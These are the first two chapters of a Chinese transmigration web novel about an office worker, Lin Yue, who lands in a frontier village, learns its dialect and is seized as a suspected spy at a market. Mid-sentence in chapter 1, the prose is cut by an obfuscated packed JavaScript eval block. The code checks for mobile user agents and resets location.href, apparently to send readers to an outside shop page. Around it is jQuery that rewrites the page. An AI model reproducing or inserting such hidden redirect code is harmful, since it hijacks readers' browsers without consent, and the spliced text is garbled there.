《我在诸天当炮灰[无限流]》 1. 边陲流民 冰冷的土墙渗出的潮气,活像无数根冰针,顺着林越的衣领就往骨头缝里狠命钻。他蜷在稻草堆里,感觉自己像块被捶烂的破布——左脸肿得像个发面馒头,嘴角挂着干巴巴的血痂,稍微动一下,就扯得牙龈直泛酸水;肋骨那儿更是一阵阵钝痛,每喘口气都像有把钝刀子在里头搅和,估摸着是断了两根。 他费力地掀开眼皮,瞅着木栏窗外漏进来的那点微光,心里哀叹道:别人穿越,不是皇子王爷开局,就是系统金手指傍身,再不济也得是个镖局少东家吧?嘿,轮到他,开局就是监狱副本,还附赠免费‘正骨套餐’,这待遇,真是蝎子粑粑——独一份! 他舔了舔干裂的嘴唇,想活动下僵硬的脖子,结果牵动脸上伤口,疼得他龇牙咧嘴直抽冷气。窗外的微光里,几只苍蝇嗡嗡地打转,时不时就落在他伤口上开饭,他却连挥挥手赶走的劲儿都没了。 林越心里哀嚎,早知道穿越这么‘刺激’,当初加班就该摸鱼摸到底,至少能多喘几小时气儿。思绪不受控制地飘回了三天前——那个彻底改写他命运的鬼夜晚。 三天前,林越刚熬完连续十二小时的班,脑袋沉得像灌满了铅。他一头扎进公司楼下的便利店,目标贼明确:关东煮的萝卜、魔芋结、鱼豆腐,外加一根油汪汪的烤肠! 便利店的暖黄灯光打在咕嘟冒泡的关东煮锅上,吸饱了汤汁的萝卜在锅里轻轻晃悠,诱人得紧。林越搓了搓冻僵的手,夹起一块萝卜,啊呜一口咬下去——滚烫鲜香的汤汁在嘴里炸开,浓郁的酱香瞬间冲散了加班的疲惫。 他心里美滋滋地想着,加班到深夜的唯一福利,就是能独享这锅关东煮,不用跟午休时那群饿狼抢食。又夹起一块鱼豆腐,暗自嘀咕:老板要是知道我这么晚还在为公司卖命,是不是该给我报销这顿宵夜?算了,资本家要是懂得体恤员工,母猪都能上树了。 结果刚出店门,烤肠才啃了第一口,眼前猛地天旋地转,耳边呼啦一阵怪风刮过。再睁眼,手里的关东煮还冒着热气儿,脚下却变成了一望无际的滚烫荒漠! 林越愣了两秒,捏了捏发烫的沙子,又摸了摸手里热乎的关东煮,脑子里蹦出个念头:嚯!哪个剧组的沙漠实景?道具组必须加鸡腿啊!还当自己加班加出幻觉了。他甚至对着空气喊了一嗓子:“导演!镜头搁哪儿呢?我演技咋样?给个五星好评呗?”结果回应他的,只有呼呼的风声。 林越这才真慌了。刚才还是冻死人的寒夜,眨眼就变烈日当头的白天?他赶紧掏手机想求救,屏幕却一片雪花——信号全无!导航?连卫星影子都搜不着。四周光秃秃的,连根仙人掌刺都瞧不见,只有连绵起伏的沙丘,在毒日头下泛着刺眼的白光。 他心里一沉,完犊子了,这要是穿越,也得给个新手村吧?直接扔沙漠里,连个NPC都没有,这游戏策划是跟玩家有仇吗?林越不傻,立马觉出不对劲。他强忍着眩晕爬起来,四下张望找参照物。沙丘的轮廓在热浪里扭曲变形,活像海市蜃楼,看得人头晕目眩。 他低头瞅着手里的关东煮,汤汁还在微微晃荡,说明空间转移就发生在刚才那一瞬!穿越小说里的理论在他脑子里飞速闪过——被动传送,大概率有坐标锚点,可这鬼地方,连个方向都辨不清,更别提明显参照物了。手里这份还带温乎气的食物,搞不好就是他眼下唯一的食水来源。他小心翼翼地把烤肠用餐巾纸包好,塞进裤兜,把外套顶在头上挡太阳,双手稳稳端住关东煮。同时打定主意节省体力,顺着风向走。风从西边来,他就深一脚浅一脚地往东跋涉,每一步都陷进滚烫的沙窝里,沙子钻进鞋缝,烫得脚底板生疼。 烈日像个巨大的烤炉,把他身上的T恤烤得滋滋响,汗水刚冒出来就被蒸发,只在衣领留下一圈白花花的盐渍。汗水顺着脖子流进衣领,痒得他想骂娘。林越心里嘀咕,早知道要穿越到沙漠,就该在便利店多买两瓶矿泉水,现在倒好,关东煮的汤都得省着喝,这待遇比公司年会抽奖的三等奖还不如——至少三等奖是个电饭煲,能煮饭。 他咬紧牙关往前挪,鞋底都快给烫穿了,每踩一步都像踏在烧红的铁板上。喉咙干得冒烟,像是有砂纸在里头来回摩擦,只能时不时舔舔干裂的嘴唇,实在忍不住了才嘬一小口关东煮的汤。原本暖胃的汤汁,这会儿成了救命又熬人的甘露,每喝一口都像在割舍最后一点指望,心里盘算着还能撑多久。 林越一边走一边胡思乱想,试图用自嘲来缓解绝望:这要是拍成纪录片,标题就叫《程序员沙漠求生记:从996到沙漠流浪汉的华丽转身》,收视率肯定爆表。沙丘一个接一个,仿佛永远走不到尽头,他的腿像灌了铅,每抬一步都要耗尽全身力气,肌肉酸痛得像是被无数根针扎着。 沙地在脚下延伸,视野里除了黄沙还是黄沙,偶尔有几株枯黄的骆驼刺在热浪中摇曳,像是在嘲笑他的无助。时间变得模糊,不知走了多久,林越只觉得嘴唇干裂出血,眼皮沉重得快要抬不起来。他强迫自己数步子,从一数到一百,再从一百数到一,用这种笨办法保持清醒。 就这么不知走了多久,直到黄昏时分,天色渐暗,温度开始下降,他才瞅见远处一缕若有若无的炊烟!那炊烟简直像根救命稻草,在暮色中袅袅升起,瞬间给他打了鸡血。林越连滚带爬地就朝那方向冲去,心里狂喊:炊烟!有人烟!老天爷终于开眼了,再走不到头,我就要变成沙漠里的木乃伊,千年后被考古学家挖出来,还得被研究‘古代程序员遗骸’,论文标题他都替那些学者想好了:《论信息时代社畜在荒漠环境中的骨骼特征变化》。 炊烟的尽头是个边陲小村,土坯房歪歪扭扭挤在一起,像是随时要倒塌,屋顶上飘着袅袅炊烟,空气里弥漫着柴火和饭食的混合气味。村口老槐树下,几个妇人正纳着鞋底,有一搭没一搭地唠着闲嗑,时不时发出压低的笑声。 林越刚想上前问路,猛地想起自己这身“奇装异服”——短袖T恤、牛仔裤、运动鞋,搁古装剧里绝对活不过三集!他心里咯噔一下,这身打扮过去,人家不当我是妖怪才怪。他赶紧刹住脚,缩到一棵大树后头,贼头贼脑地观察村里动静。村民们穿着粗布麻衣,颜色灰扑扑的,男的要么在田里忙活,要么在院里劈柴,女的在家门口洗衣做饭,整个村子看着倒挺宁静祥和,有种与世隔绝的安逸感。 林越暗自盘算,得先搞身衣服,不然连村口都进不去。他不敢贸然进村,只能猫在草丛里,等天彻底黑透了才摸进去。夜幕降临,村子里点点灯火亮起,狗叫声此起彼伏。他像个小偷似的,蹑手蹑脚在村里转悠,最后盯上了一户人家院里晾着的粗布麻衣。那院子静悄悄的,就一条瘦狗趴在门口打盹,尾巴偶尔扫一下地面。 林越屏住呼吸,心里念叨:对不住了老乡,借你件衣服穿穿,等我发达了,一定十倍奉还。轻手轻脚翻过矮院墙,墙头的土坯硌得手心生疼。伸手就去够衣服,那布料粗糙得很,摸着像是没经过精细处理。眼看就要得手,那瘦狗突然醒了,耳朵竖起,冲着他就是一顿狂吠!林越吓得心差点从嗓子眼蹦出来,抓起衣服撒丫子就跑,瘦狗在后头穷追不舍,吠声在夜空中格外刺耳。他心里叫苦,这狗也太敬业了吧?大半夜的不睡觉,守着一堆破布干嘛?这警觉性比公司楼下保安强多了。 他连滚带爬冲出村子,一头扎进村外的破庙,这才敢大口喘气,胸口剧烈起伏,像是刚跑完马拉松。破庙里漆黑一片,只有月光从破败的屋顶缝隙漏下来,在地上投出斑驳的光影。他把短发用布条胡乱缠成个鸡窝似的发髻,套上偷来的粗布麻衣,布料粗糙磨得皮肤发红,汗臭味直冲鼻子,但总算感觉安全了那么一丁点。林越心想,虽然这衣服一股子汗臭味,穿在身上像披了张砂纸,但总比穿着T恤牛仔裤当靶子强,至少看起来像个本地穷鬼。 他蜷在破庙角落,听着外头的狗吠声渐渐远去,变成遥远的呜咽。破庙里老鼠窸窸窣窣,在黑暗中穿梭,冷风嗖嗖地从墙缝灌进来,吹得他浑身起鸡皮疙瘩。他把剩下的关东煮连汤带水凉透地咽下肚,汤汁已经馊了,带着股酸味,但他不敢浪费。缩在神像残破的衣角边瑟瑟发抖,那神像面目模糊,不知供奉的是哪路神仙。 月光从塌了一半的屋顶漏下来,映在他湿冷的睫毛上,碎成一片银白。远处传来几声狼嚎,悠长而凄厉,在夜风中飘荡。林越缩得更紧了,把破庙里散落的草秆往身前拢了拢,试图制造一点微不足道的温暖。脑中闪过一个自嘲的念头:之前长假被临时加班挤掉的敦煌之旅,倒用这种方式‘补’上了一部分。只是这黄沙漫天的边陲村落,跟他想象中敦煌的瑰丽壁画、飞天彩塑,差了十万八千里——一个是艺术殿堂,一个是生存地狱。 熬过这一夜,林越心里门儿清,在这人生地不熟的地界绝不能乱闯。他只能缩在安全范围里,偶尔溜出去,竖起耳朵、瞪大眼睛,小心翼翼地观察这个新世界的居民,像只警惕的野猫。整整一天,他都在死磕这个村子的语言,发现他们说的话跟普通话有点微妙的不同——“吃饭”叫“恰饭”,“喝水”叫“饮汤”,“睡觉”成了“眠觉”。听着活像某种古老方言的化石,有种别扭的韵律感。 林越还琢磨着,这语言系统还挺有意思,‘恰饭’听着就比‘吃饭’带劲,有种用力咀嚼的实在感;‘饮汤’也比‘喝水’文雅,像是在品茶而不是牛饮。就是不知道‘上厕所’怎么说,总不能叫‘出恭’吧?那也太复古了,像是从明清小说里直接扒出来的。 他注意到,村民们聊天时就用这些词儿,比如他听见有人说:“今天的恰饭真好吃”,“昨天的饮汤有点凉”。说话时声调起伏,有种特别的节奏。他仔细琢磨着这些语言的门道,虽然跟普通话不太一样,但意思基本能猜个八九不离十。林越心里一乐,这绝对是穿越者的隐藏福利!语言通晓技能自动激活了!虽然没给系统提示音,没有那种“叮!获得语言熟练度+1”的机械声,但总比从头学一门外语强,至少不用背单词表。 为了更好融入,林越开始有样学样。看村民爱蹲墙角晒太阳,他也找个阳光好的角落,学人家的姿势蹲着,结果不到五分钟腿就麻得跟过电似的,不得不偷偷换姿势。他心里嘀咕,这姿势看着简单,蹲久了真要命,古代人的腿力都这么好吗?难道从小蹲惯了? 观察挑水汉子走路的架势,汉子们肩挑两桶水,步伐稳健,腰背挺直,他就跟在屁股后头,模仿人家的步态,结果走得歪歪扭扭,差点把自己绊倒。林越甚至学着村民的样子,拿手指头在地上比划,嘴里念念叨叨“恰饭”“饮汤”,盼着能跟村民搭上话,声音小得像蚊子叫。 他不停地练习这些简单词儿,观察村民之间互动的细枝末节,连手势和语调的起伏都一点不放过。林越暗自比较,这比学编程语言难多了,至少编程语言有文档可查,有Stack Overflow可以问,有编译器报错提示。这玩意儿全靠自己悟,错了都不知道错在哪儿,万一说错话,可能就不是编译错误,而是人生错误了。 经过长时间的偷师和苦练,林越终于鼓起勇气,提着在破庙里翻到的破陶罐——罐身有道裂纹,用泥巴糊着,假装去井边打水。他蹲在井沿边,眼巴巴等着路过的妇人。井水清澈,倒映着蓝天白云和他的紧张面容。好不容易瞅见一个,妇人挎着篮子,步履匆匆。林越紧张兮兮地递出陶罐,试探着问:“饮汤否?”心咚咚直跳,快从嗓子眼蹦出来了,手心全是汗。 那妇人先是一愣,停下脚步打量他,随即笑着摆摆手:“小子胡说!饮汤是夜里眠觉前的事!”声音清脆,带着当地口音特有的拐弯。林越强压住心慌,挤出个憨厚的笑,赶紧接话:“恰饭后……饮汤?”妇人点点头,眼里的警惕渐渐散了,还补充道:“白日里喝水就叫喝水,莫要乱说。”林越心里长舒一口气,呼——过关了!看来我的语言天赋还不错,至少没被当成神经病,也没被当成奸细抓起来。 俩人断断续续唠了会儿,妇人说起村里的琐事,谁家娃儿淘气,谁家媳妇手艺好。林越趁机记下更多用语习惯,还有这村子的风俗规矩,比如见了长辈要低头,不能直视;吃饭时不能发出声音;晚上不能随便串门。这一聊,他感觉离真正混进这村子又近了一步,像是打游戏解锁了新地图。他心里记着,原来‘饮汤’特指睡前喝水,白天喝水就叫‘喝水’,这讲究还挺多,像是某种礼仪规范。看来得做个笔记,不然哪天说错话,被人当奸细抓起来就麻烦了,这时代可没有律师保释。 日头慢慢爬到头顶,阳光变得毒辣,林越在跟村民的闲扯中,不动声色地套出了更多消息。他弄明白了,自己脚下的这片地,叫“大炎王朝”或者“大燕王朝”——村民们说法不一,像是口音造成的混淆,眼下待的这个小破村,名叫“黄壤屯”。 这地方在边疆,紧挨着北狄,常年风沙罩顶,天都灰蒙蒙的,像是永远蒙着一层土黄色的薄纱。村民主要靠种点耐旱的庄稼——像是高粱、粟米,和放牧几只瘦羊糊口。地处边境,村里时常有流民来讨饭或换东西,不过最近世道不太平,北狄那边常有骚动,流民少多了。偶尔有商队经过,驼铃声叮当作响,带来的也多是些陈粮旧货,布匹颜色黯淡,但好歹能捎来点外头的新鲜消息,比如哪个州府遭了灾,哪里的盐价又涨了。 林越默默记下这些地理方位,心里开始盘算着,怎么在这陌生地界搞点钱粮。他暗自思量,大炎还是大燕?这俩名字听着都挺霸气,带着烽火硝烟的味道,就是不知道现在是哪个皇帝在位,年号是什么。要是能搞本历史书看看就好了,不过在这穷乡僻壤,估计连识字的人都少,更别提藏书了。当务之急是填饱肚子,然后搞点钱,再慢慢打听怎么回去——如果还能回去的话。这个念头让他心里一沉,但又强行压下去,现在不是伤感的时候。 远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119387|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处隐隐传来驼铃声,叮叮当当,由远及近。林越攥紧了陶罐边沿,陶罐粗糙的表面磨着掌心,时不时啃一口今天唯一的粮——烤肠。烤肠放了两天,在怀里捂得温热,但硬得跟石头似的,咬一口得费半天劲,牙都快崩了。他心里后悔,早知道穿越前该多买几根,现在后悔也晚了,只能省着点吃。他尽量绕着人走,慢慢在村里的小路上溜达,想摸清这村子的布局。黄土垒的房子歪歪扭扭,墙皮脱落,露出里头的草秸,除了几条小路通向村里,蜿蜒如蛇,就只有一条大路直通摆摊的集市中心,路上车辙深深。 林越借着问“饮汤”的由头,跟路过的村民搭话,一点点摸清了集市的规律——逢双日的清早,商队到了,驼队卸货,市集才开张。其他时候,村里家家户户门都关得严实,只有小娃子在巷子里追着黄狗疯跑,笑声清脆。林越蹲在墙角,眯眼观察着,心里盘算,这集市还挺讲究,不是天天开,得掐着日子去。明天就是双日,得抓紧机会,错过又要等两天,他可等不起。 他发现集市入口有守卫在查货,守卫身穿皮甲,腰佩短刀,目光锐利。没带东西的人,压根不让进去做买卖,连靠近都要被盘问。林越心里一紧,这规矩挺严,空手不让进,得带点东西才行。可我除了这身破衣服,就剩个玉坠了,还是现代工艺的,会不会太扎眼?明天就是双日,他必须赶在日头出来前摸到集市中心!趁着夜色,林越在破庙角落里一阵翻找,扒开稻草,在神像底座后找到些碎布条。他把碎布条缠在运动鞋上挡着,又用灰土抹黑了脸颊和手背,装成被风沙吹得灰头土脸的模样,连指甲缝里都塞了泥。他还找了根枯枝当拐杖,用石头磨光滑了握把,假装腿脚不便,好博点守卫的同情分,心想古代人应该也吃这套吧? 林越看着水洼里自己的倒影,水面荡漾,映出一张陌生而憔悴的脸。他心里自嘲,这伪装技术,要是搁现代,都能去横店当群演了,演个难民绝对本色出演。就是这造型太惨了点,跟逃荒的难民似的,头发乱成鸡窝,脸上黑一道白一道。不过也好,越惨越容易让人放松警惕,守卫大概不会对一个瘸腿的穷鬼太较真。 熬到第三天,光喝水已经填不饱咕咕叫的肚子,饿得像有只小老鼠在里头乱窜,胃部一阵阵抽搐。林越感觉这比加班到凌晨三点还难受,至少加班还有外卖可以点,有泡面可以啃,有同事可以吐槽。这里连个外卖小哥都没有,连泡面都是奢望,连吐槽都只能对自己说。他摸了摸怀里的平安扣玉坠,冰凉温润,这是他唯一的家当了。玉坠是老妈去年去旅游时买的,景区特产,说是保平安,没想到真派上用场了——虽然是用它换饭吃,这保平安的方式真是实在。 他深吸一口气,拍了拍身上的灰,尘土飞扬,挺直腰杆,朝着集市走去。心里给自己打气:加油林越,你可是经历过无数bug调试的程序员,通宵改代码眼睛都不眨一下,这点困难算什么?就当是人生这个大程序出了个bug,现在要手动修复它,没有ctrl+z,没有版本回退,只能硬着头皮上。 他美滋滋地盘算着,用玉坠换几个热腾腾的馒头,馒头要刚出锅的,冒着热气;或者一碗香喷喷的热粥,粥要熬得稠稠的,配上咸菜。连怎么跟摊主讨价还价都想好了词儿:先夸玉坠成色好,青翠欲滴,再说这是祖传的宝贝,要不是实在没办法,绝不会拿出来卖,说的时候要配上痛心疾首的表情。要是摊主压价,就说这玉坠有灵性,能保平安,家里老人戴了几十年没病没灾,加价百分之二十不过分吧?反正古代人信这个。 可他没留意到,身后几个村民正用警惕的目光死死盯着他——这个“外来户”走路的架势太怪了!既不像商人那样风风火火,大步流星;也不像流民那样蔫头耷脑,步履蹒跚;而是带着一股说不出的格格不入,步伐均匀,节奏稳定,在这边陲小村里,扎眼得很。一个老农眯着眼睛,心里嘀咕:他那步子,迈得不大不小,每一步都差不多距离,节奏均匀,一看就是常年走平路练出来的,哪像我们这些在沙地里摸爬滚打的人?我们的步子深浅不一,随时要调整平衡。 另一个汉子压低声音对同伴说:还有他那双手,虽然抹了灰,可指节分明,皮肤细嫩,手掌没有老茧,一看就没干过重活,没扛过锄头,没拉过缰绳。说话也怪,虽然学着咱们的腔调,可总带着股别扭劲儿,像是刚学会说话的孩子,每个字都咬得太清楚,反而显得不自然。 最近世道不太平,北狄那边老有动静,保不齐是派来的探子。那汉子眼神阴郁,得盯紧点,要是有什么不对劲,立马报给里正。里正跟驻军的王千户熟,王千户最恨细作,抓住了都是重刑。几个村民互相递了个眼色,微微点头,目光像钩子似的,牢牢钩在林越的背影上,看着他走向集市的方向。 林越对此一无所知,还在心里盘算着怎么用玉坠换到最多的食物。他想着,最好能换到馒头和咸菜,这样能吃两三天,省着点能撑更久。要是能换到点肉就更好了,哪怕是点肉干,补充点蛋白质。不过估计够呛,这地方看着就不富裕,村民们面黄肌瘦的,自家都难得吃上肉。 他走到村口,回头望了一眼破庙的方向,破庙在晨光中只是一个模糊的轮廓。心里计划着,等换了吃的,得找个更安全的地方住,这破庙四面漏风,晚上冻得睡不着,还有老鼠啃脚趾头。要是能租间房子就好了,哪怕是个柴房,至少能遮风挡雨。不过得先有钱,有了钱才能谈其他。 太阳渐渐升高,金光洒在土路上,集市的方向传来嘈杂的人声,吆喝声、讨价还价声、牲畜叫声混成一片。林越加快了脚步,心跳也跟着加速。他摸了摸怀里的玉坠,冰凉贴着温热的皮肤,心里默念:老妈,你这玉坠可要保佑我啊,至少让我换顿饱饭吃,别被当成骗子抓起来。要是能回去,我一定多买几个玉坠供着。 他不知道的是,命运的齿轮已经开始转动,发出嘎吱嘎吱的声响,而他的第一次死亡轮回,正悄然拉开序幕,像一场没有预告的戏剧。在这个陌生的古代世界,他将经历一次又一次的死亡与重生,在痛苦中学习,在绝望中挣扎,而这一切,都从今天这个看似普通的集市日开始,从这枚小小的平安扣玉坠开始。 林越甩甩头,把那些不安的念头抛到脑后,像是甩掉粘在头发上的草屑。心里想着,不管了,先填饱肚子再说。车到山前必有路,船到桥头自然直。我林越什么大风大浪没见过?加班猝死边缘都徘徊过好几次了,有一次连续熬了三天,眼前都出现重影了,不也活下来了?还怕这个? 他挺直腰板,虽然穿着破衣烂衫,但脊梁骨挺得笔直,朝着集市的方向大步走去,背影在晨光中拉得很长,投在黄土路上。身后,那几个村民的目光依旧如影随形,像无形的丝线缠绕着他。而前方,等待他的将是怎样的命运,是饱餐一顿的满足,还是牢狱之灾的痛苦,无人知晓。只有晨风穿过巷子,卷起细沙,打着旋儿,像是某种预示。 2. 市集惊魂 林越蹲在集市门外那条被踩得瓷实的沙土路边角,他那双才三天就磨破皮的手指头,反复摩挲着兜里仅剩的平安扣玉坠。这块玉坠,是他穿越时空的唯一物证,也是他在这个古代世界唯一能拿来换东西的本钱。 晨光熹微,集市大门还未敞开。寒风卷着沙砾在地面打旋儿,将悬赏木牌吹得微微摇晃。林越把包头布巾往下狠狠一拉,遮住大半张脸,只露出一双清冷的眼睛,警惕地扫视四周。守卫腰挎大刀,来回踱步,眼珠子鹰似的扫来扫去,那眼神比公司HR面试时还犀利,就差拿个放大镜对着他照了。 得靠这玉坠换点活命的东西,不然在这人生地不熟的鬼地方,铁定玩完。林越心里门儿清。换吃的,能顶几天饿;换穿的,能扛即将到来的寒气;换工具,说不定还能找份工,在这时代扎下根。每一步选择,都关系着他能不能活下去,得打起十二分精神! 他想起了穿越前的生活,那时的他生活在现代社会,一切需求都能用金钱轻松搞定。而现在,他却得靠一块玉坠来换活命的本钱。这转变真是够讽刺的,以前是钱能解决的问题都不是问题,现在是没钱连问题都解决不了。这转变让他既无奈又莫名兴奋,他猛然意识到,穿越不光是时空旅行,更是对自个儿生存能耐的大考! 林越深吸一口气,“噌”地站起身,拍掉满身的尘土,抬脚就朝市集走去。我要靠这枚平安扣玉坠,在古代闯出一片新天地!虽然这片天地目前看来只有黄沙和破庙,但总比饿死强。 他缓缓起身,拄着枯枝拐杖,一步三晃,故意把步子拖得又沉又飘。装瘸子这招,还是从电视剧里学的,希望别穿帮。这守卫的眼神锐利得像刀,林越能感觉到对方的目光在他身上来回刮擦,试图找出任何可疑之处。 刚到入口,守卫胳膊一横拦住去路,目光落在他头上的破布和抹了灰的手背上。林越压低嗓子,努力模仿昨天听来的本地口音:“求口饭食给家中老娘,就剩这物件能换碗粥了。” 说着,他从怀里摸出那枚平安扣玉坠,温润的光在晨曦里一闪——可惜只是块随处可见的青玉,成色普通,也没啥雕工。守卫眉头一拧,劈手夺过细看,掂量两下,鼻孔里哼出声:“就这破烂货,也想换粮?” 林越低头不语,手指死死抠住拐杖,心里只求这守卫别贪了他唯一的买粮钱,还指望它能找回点零头呢。要是连这点本钱都被黑了,那我真得去喝西北风了。 守卫摩挲着玉坠边沿,粗糙的手指在光滑的表面上停留了片刻,眼神里闪过一丝疑惑。他最终还是“啪”地扔回林越怀里,眼神里多了几分狐疑:“滚那边候着,待会儿再查!” 林越慢慢退到角落,冷汗顺着脊梁骨往下淌。他这才明白,这玉坠虽普通,却是现代机器打磨的玩意儿,边角规矩得不像这个时代的手工活。可这是他唯一能换的东西,就算惹人疑心,也得硬着头皮用。这集市,验货是假,查人才是真! 远处,晨光初露,摊贩们开始支起五颜六色的布棚,炊烟袅袅升起,粥香混在清冽的空气里,直往人鼻子里钻。可这诱人的香气对林越来说,却像画饼充饥。闻着香,吃不着,这比加班时看同事点外卖还折磨人。他攥紧粗糙的拐杖,眼神锐利地盘算着怎么绕过守卫,溜进集市。心提到了嗓子眼,每一步都踩在刀尖上,生怕惊动谁。 集市逐渐热闹起来,更多的商贩推着车、挑着担子来到门口排队。驴子的叫声、车轮碾过沙土的吱嘎声、人们的交谈声混杂在一起,形成一片嘈杂的背景音。林越注意到守卫的注意力开始分散,不时有熟人过来打招呼,或是询问今日的巡查安排。 就在这时,突然,“哇——”一声孩童的尖叫撕裂了清晨! 林越猛抬头,只见一只瘦骨嶙峋的大狗不知何时溜进人群,那狗瘦得肋骨根根分明,皮毛脏污打结,眼睛里却闪着机警的光。它像是被什么气味吸引,竟一口叼走了守卫腰间的令牌!守卫们顿时炸了锅,嗷嗷叫着追狗,人群也因为这突如其来的骚乱乱成一团。 林越嘴角一勾,暗叫天助我也!这正是溜进去的绝佳时机。他“哧溜”一下钻进腾起的沙尘里,沙尘迷了守卫和众人的眼,成了他最好的掩护。这瘦狗简直是神助攻,回头要是能再见到它,一定给它买根骨头——如果我有钱的话。 借着这漫天黄沙,林越猫腰疾冲,指节在沙土路上蹭得火辣辣地疼。但他哪顾得上,反而冲得更快,一个翻滚就钻进了辆粮车底下,缩在阴暗角落里。心咚咚狂跳,和远处孩子的尖叫、守卫的怒骂搅在一起,响得他自己都听得见。这心跳声,比熬夜写代码时的心悸还夸张,再这么跳下去,没被抓住先得心脏病了。 沙尘渐散,守卫们骂骂咧咧追着那瘦狗跑远了。“该死的畜生!”“抓住它!令牌!”“往那边去了!”混乱中,似乎没人留意到林越。他从车底爬出,猫着腰站起身,踮着脚尖,像片羽毛似的,悄无声息地混进了已检查过的人群,溜进了集市。成功了!这波操作,要是搁游戏里,怎么也得给个‘潜行大师’的成就。 集市里闹哄哄的,各种声音搅成一锅粥。叫卖声此起彼伏,商贩们扯着嗓子吆喝:“新到的盐巴!上好的青盐!”“麻布!结实的麻布!”“新鲜野菜,刚从地里摘的!”讨价还价声不绝于耳,买卖双方斗智斗勇:“太贵了,再便宜两个铜板。”“哎哟,我这可是本钱价了,不能再低了。”骡马不时嘶鸣,在人群中穿梭,给这繁忙的市集添了几分活气。 空气里混杂着劣质麻布的霉味、牲口粪便的酸臭、汗水的咸腥,远处铁匠铺还传来火星“噼啪”爆裂的声响,夹杂着铁锤敲打铁砧的“铛铛”声——这一切都在提醒林越,这里和他熟悉的21世纪,完全是两个世界! 这味道,比公司楼下那家烧烤摊还冲,至少烧烤摊的烟是香的,这儿的烟是呛的。林越忍不住咳嗽了几声,用破布捂住口鼻。 “咕噜——”林越的肚子不争气地叫起来,臊得他脸颊发烫。他东张西望,寻找能填饱肚子的地方。街角那个冒着腾腾白汽的馒头铺吸引了他,蒸笼里的粗粮馒头被热气熏得油亮,表皮泛着诱人的黄褐色,馋得人直咽口水。 林越深吸一口气,强打精神挺直腰板——好歹是个受过现代教育的成年人,得用‘文明’的法子解决温饱!虽然这‘文明’可能跟我想的不太一样。 他走向馒头铺,努力模仿昨天听来的本地腔,指着最便宜的粗粮小饼,尽量放平语气:“劳驾,这个……”他试图压住声音里的急切,可肚子的抗议声实在藏不住。这肚子也太不争气了,关键时刻掉链子,跟那些关键时刻宕机的服务器一个德行。林越清楚,在这陌生地界,他得学会适应,学会用这里的法子活下去。 摊主是个满脸沟壑的老汉,皱纹深得能夹死蚊子。他正用那条灰黑油腻的围裙使劲擦手,听到声音,抬起浑浊的老眼,上下打量着眼前这年轻人。 林越心里“咯噔”一下——他的‘通用语’好像不太灵光。本想用简单词儿交流,可‘多钱?’俩字刚蹦出口,他就知道坏菜了!他想问的是这小饼的价钱,可显然,发音和用词都跑偏了。这感觉就像写代码时把‘==’写成了‘=’,bug虽小,后果严重。 老汉脸上的褶子“唰”地绷紧了,像被冰水激过的面团。周围原本喧闹的讨价还价声戛然而止,几个挑菜筐的农妇停下脚,眼神像针一样扎在他背上,满是警惕和不解。 完了完了,这表情,比项目经理看到bug报告时还难看。 “尔说啥?!”老汉嗓门陡然拔高,带着怒气和紧绷,“哐当”一声,手里的柄勺狠狠砸在破案板上。 林越慌忙摆手:“我是问……这小饼,要付多少……钱?”他放慢语速,把“多少”咬得特别重,指望老汉能懂。这感觉就像跟外国客户开视频会议,明明说的是英语,对方就是听不懂,急得你想用手比划。可他自己都没留意,说“钱”字时,那短促的入声又冒了出来。 人群开始骚动,一个扎双丫髻的小姑娘躲到娘亲身后,偷偷指着他露出的靴子——那双从现代穿来的运动鞋,因刚才贴地摩擦,从破布里钻出来,在满眼布鞋草鞋的市集里,活像块扎眼的补丁。小姑娘眼里满是好奇,大人们却迅速被不安笼罩,原本喧闹的集市瞬间静得能听见针掉地。 糟了!鞋子露馅了!这破布条怎么这么不结实,关键时刻掉链子。 林越后颈的汗毛“唰”地全立起来了!他猛地想起昨天听到的闲话:王朝和北狄已打了仨月仗,边境细作最近常出没,大伙儿都瞪着眼,指望抓一个换赏钱呢! “抓奸细啊!”不知谁吼了一嗓子,声音尖锐刺耳。 松散的人群“呼啦”一下围成了铁桶!四面八方都是人,有提着菜篮的妇人,有扛着扁担的汉子,有拄着拐杖的老人,所有人的眼睛都死死盯着他,眼神里混合着愤怒、恐惧和一丝猎获的兴奋。 这下玩脱了,本来只想买个馒头,结果被当成间谍了。这剧情发展,比公司那个不靠谱的产品经理设计的用户流程还离谱。 林越眼睁睁看着几个穿短打的汉子从不同方向包抄过来,腰间的皮刀鞘随着奔跑“砰砰”作响。他想解释,想掏出平安扣玉坠证明自己只是个想换口饭吃的可怜人,可喉咙像被死死掐住,发不出半点声音。嘴巴张开又闭上,像离水的鱼。 “砰!”一根水火棍狠狠砸在他腿弯,力道大得让他眼前一黑。 林越“扑通”一声,膝盖重重砸进沙地里!粗糙的沙砾硌得生疼,他能感觉到有碎石嵌进了皮肉里,火辣辣的疼顺着神经往上窜。 疼疼疼!这下手也太狠了,我膝盖又不是铁打的。 他抬头看见老汉那张扭曲的脸,皱纹因为愤怒而挤在一起,像干裂的土地:“狗娘养的北狄探子!敢在老子地盘撒野!”唾沫星子带着劣质烟草的辛辣味喷了他一脸。 这老汉看着瘦,力气倒不小,唾沫星子跟下雨似的。 混乱中有人撕扯他的衣领,布料发出“刺啦”的撕裂声;有人猛踹他的腰,肋骨传来一阵闷痛。林越虾米似的弓起背,双手护住头部,听见越来越近的铜锣声——那是衙役出巡的动静! “铛!铛!铛!”铜锣声由远及近,每一声都敲在他的心脏上。 这铜锣声,比公司的下班铃声还刺耳,关键是这声音来了我就走不了了。他猛然想起穿越前看的历史剧,那些被当成奸细的倒霉蛋,最轻也是流放三千里!发配到边疆做苦役,在矿洞里累死,在战场上当炮灰,能活过一年的都是奇迹。 “住手!”两个穿皂色公服的衙役分开人群,手里的铁叉在阳光下闪着寒光,晃得人眼晕。领头的衙役歪戴着帽子,三角眼扫过林越,目光像刀子一样在他身上刮过:“哪蹦出来的野小子?敢在黄壤屯闹腾?” 